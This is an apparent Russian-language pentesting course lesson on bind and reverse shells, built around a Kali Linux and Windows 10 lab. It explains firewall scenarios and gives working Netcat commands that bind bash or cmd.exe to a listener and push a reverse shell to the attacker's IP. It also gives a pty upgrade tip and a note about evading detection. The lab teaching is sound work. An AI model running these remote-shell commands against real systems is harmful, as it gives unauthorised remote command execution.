Курс Ultimate Kali Linux — #61 Работа с bind и reverse шеллами.
Здравствуйте, дорогие друзья.
В сценарии bind shell давайте представим, что ваша цель находится в общедоступной сети, такой как Интернет, и имеет общедоступный IP-адрес, в то время как компьютер злоумышленника находится за брандмауэром. Трафик, поступающий из Интернета во внутреннюю сеть, по умолчанию блокируется брандмауэром. Брандмауэры настроены таким образом, чтобы блокировать трафик, поступающий из менее надежной сетевой зоны в более надежную сетевую зону. Однако, если вы хотите подключиться к целевому объекту, вам нужно будет установить соединение из более надежной сетевой зоны, например из внутренней сети, в менее надежную сетевую зону.
Если в целевой системе запущен прослушиватель, его можно настроить так, чтобы он был привязан к командной строке Windows или оболочке терминала Linux с помощью IP-адреса целевой системы и уникального номера служебного порта. Это позволит компьютеру злоумышленника подключиться к цели через общедоступный IP-адрес и номер порта и получить удаленную оболочку bind в целевой системе.
На следующей схеме показан сценарий оболочки bind:
![Bind shell](https://timcore.ru/wp-content/uploads/2024/07/244-1024x392.png)
В этом случае целевая система создает прослушиватель, используя такой инструмент, как Netcat или даже Metasploit. Эти инструменты привязывают IP-адрес и порт системы к командной строке. Таким образом, цель прослушивает все входящие соединения и предоставляет командную строку любым устройствам, которые устанавливают сеанс. В результате, как только система злоумышленника подключается к цели через командную строку bind, злоумышленник может удаленно выполнять команды и код в целевой системе.
В качестве примера обратного сценария shell представьте, что ваша целевая система находится в частной корпоративной сети, в то время как компьютер злоумышленника подключен к Интернету. Если вы попытаетесь установить сеанс из Интернета во внутреннюю сеть, он будет заблокирован. Однако в обратной оболочке целевая система может установить соединение из внутренней сети через брандмауэр и подключиться к компьютеру злоумышленника.
На следующей схеме показана обратная оболочка:
![Reverse shell](https://timcore.ru/wp-content/uploads/2024/07/245-1024x401.png)
При использовании обратной оболочки на компьютере злоумышленника настраивается прослушиватель, в то время как целевая система подключается к компьютеру злоумышленника с помощью оболочки. Как только злоумышленник получает соединение от целевой системы, он может удаленно выполнять команды и код через обратную оболочку. В следующих нескольких подразделах вы узнаете, как создавать оболочки bind и reverse с помощью различных инструментов.
Удаленные оболочки с использованием Netcat
В этом упражнении вы узнаете об основах работы с удаленными командами с помощью Netcat. Netcat — это универсальный инструмент, который позволяет ИТ-специалистам создавать сетевые подключения к хост-устройствам по протоколу TCP/IP. Вы узнаете, как настроить прослушиватель на одном хосте, используя другой для подключения к прослушивателю.
Прежде чем продолжить, убедитесь, что вы используете следующие рекомендации:
- Убедитесь, что Kali Linux и Bob-PC (Windows 10) подключены к одной сети. Это можно сделать, убедившись, что оба сетевых адаптера в VirtualBox Manager подключены к одной и той же логической сети, например, к PentestNet.
- Kali Linux будет работать в качестве прослушивателя, в то время как Bob-PC будет использоваться для установления сетевого подключения к прослушивателю.
- При входе в Bob-PC войдите в систему под учетной записью локального администратора. Эта учетная запись была настроена в главе 3 «Настройка для продвинутых методов взлома». Чтобы настроить удаленные оболочки с помощью Netcat, воспользуйтесь следующими инструкциями:
- В Kali Linux используйте команду ip addr для получения IP-адреса в eth0:
![Determining the IP address](https://timcore.ru/wp-content/uploads/2024/07/246-1024x281.png)
2. Затем нам нужно скопировать версию Netcat для Windows на Bob-PC. В Kali Linux уже есть предварительно загруженная версия Netcat для Windows в каталоге / usr/share/windows-binaries. Используйте следующие команды, чтобы изменить каталог в Kali Linux на тот, в котором находится Netcat для Windows, и запустить веб-сервер с использованием Python3:
1 2 |
kali@kali:~$ cd /usr/share/windows-binaries kali@kali:/usr/share/windows-binaries$ python3 -m http. server 8080 |
Затем на Bob-PC откройте веб-браузер и перейдите по ссылке http://:8080, как показано здесь:
![Accessing the Python3 web server](https://timcore.ru/wp-content/uploads/2024/07/247.png)
- Загрузите файл nc.exe из Kali Linux и скопируйте его в каталог C:\Windows\ System32 на Bob-PC. После того, как вы загрузили nc.exe из Kali Linux, вы можете завершить работу веб-сервера Python3.
- Далее, чтобы создать прослушиватель (сервер) в Kali Linux, используйте следующую команду:
1 |
kali@kali:~$ nc -nlvp 1234 |
Давайте рассмотрим предыдущий синтаксис более подробно:
-n: Указывает использовать только IP-адреса и не выполнять запросы к системе доменных имен (DNS)
-l: Указывает прослушивать входящие соединения -v: Подробный режим
-p: Указывает, какой порт прослушивать
- Затем на Bob-PC откройте командную строку Windows и используйте следующую команду для подключения к Kali Linux (прослушивателю).:
1 |
C:\Users\Bob> nc -nv 172.30.1.29 1234 |
7. Как только сеанс будет установлен с Bob-PC (клиент) на Kali Linux (прослушиватель), вы можете вводить сообщения в командной строке, как показано здесь:
![Communicating via a remote shell](https://timcore.ru/wp-content/uploads/2024/07/248.png)
На следующем снимке экрана показаны выходные данные оболочки в Kali Linux:
![Sending and receiving a message](https://timcore.ru/wp-content/uploads/2024/07/249.png)
В этом упражнении вы узнали, как установить удаленную оболочку между двумя хост-устройствами и наладить связь. Хотя этот метод является очень простым, он дает некоторое практическое представление о том, как удаленные оболочки работают между хост-системами. Далее вы узнаете, как установить оболочку bind с помощью Netcat.
Создание оболочки bind shell
В этом упражнении вы узнаете, как привязать терминал Linux к оболочке. Это позволяет удаленному хосту в сети устанавливать соединение и выполнять удаленные команды.
Для начала выполнения этого упражнения, пожалуйста, воспользуйтесь следующими инструкциями:
- В Kali Linux используйте следующую команду для создания прослушивателя, который связывает встроенную оболочку bash с прослушивателем:
1 |
kali@kali:~$ nc -nlvp 1234 -e /bin/bash |
Совет
Если вы используете систему Microsoft Windows, команда nc -lp 1234 -e cmd.exe позволит вам привязать командную строку Windows к прослушивателю с помощью Netcat.
- Затем на Bob-PC откройте командную строку Windows и используйте следующую команду для установления соединения Netcat с Kali Linux (прослушиватель).:
1 |
C:\Users\Bob>nc -nv 172.30.1.29 1234 |
3. Как только соединение будет установлено, в командной строке Windows вы сможете выполнять команды на базе Linux, как показано здесь:
![Bind shell](https://timcore.ru/wp-content/uploads/2024/07/250.png)
Совет
Чтобы получить интерфейс терминала Linux при использовании оболочки bind, используйте командуpython -c ‘import pty; pty.spawn(«/bin/bash»)’
Как показано на предыдущем скриншоте, вы можете удаленно выполнять команды Linux просто потому, что прослушиватель предоставляет клиенту оболочку bind с оболочкой bash.Далее вы узнаете, как создать обратную оболочку между Kali Linux и клиентской системой.Создание обратной оболочкиВ этом упражнении вы узнаете, как установить обратную оболочку с компьютера под управлением Windows 10 на Kali Linux. Клиентская система Windows 10 обеспечит обратное подключение к Kali Linux через интерфейс командной строки Windows.Чтобы приступить к выполнению этого упражнения, пожалуйста, воспользуйтесь следующими инструкциями:
- В Kali Linux откройте терминал и используйте следующие команды для настройки прослушивателя с помощью Netcat:
1 |
kali@kali:~$ nc -nlvp 1234 |
2. Затем на Bob-PC (клиенте) откройте командную строку Windows и используйте следующую команду для создания обратного подключения к прослушивателю:
1 |
C:\Users\Bob> nc -nv 172.30.1.29 1234 -e cmd.exe |
Совет
Если вы используете систему на базе Linux в качестве клиента, используйте команду nc -nv 10.1.1.2 9999 -e /bin/bash, чтобы привязать оболочку Linux bash к подключению Netcat.
На следующем снимке экрана показано, что клиент установил соединение с прослушивателем:
![Verifying the connection](https://timcore.ru/wp-content/uploads/2024/07/251.png)
В Kali Linux теперь у вас будет обратная оболочка с клиентского компьютера Windows на вашем терминале Linux:
![Reverse shell](https://timcore.ru/wp-content/uploads/2024/07/252.png)
Как показано на предыдущем скриншоте, клиентский компьютер с Windows 10 подключился к прослушивателю и предоставил пользователю свою оболочку в Kali Linux. Это позволяет удаленно выполнять команды, код и функции.
Прочитав этот раздел, вы узнали, как создать обратную оболочку с помощью Netcat. Однако имейте в виду, что Netcat не может шифровать сообщения между клиентом и сервером Netcat, что может привести к обнаружению. Однако стоит отметить, что как Ncate, так и Socat могут использоваться для обеспечения шифрования данных между хост-системами при работе с удаленными оболочками. В следующем разделе вы узнаете, как создавать настраиваемую полезную нагрузку обратной оболочки и внедрять методы защиты от вредоносных программ.
![Ultimate Kali Linux](https://timcore.ru/wp-content/uploads/2024/07/ultimate-kali-linux.png)
На этом все. Всем хорошего дня!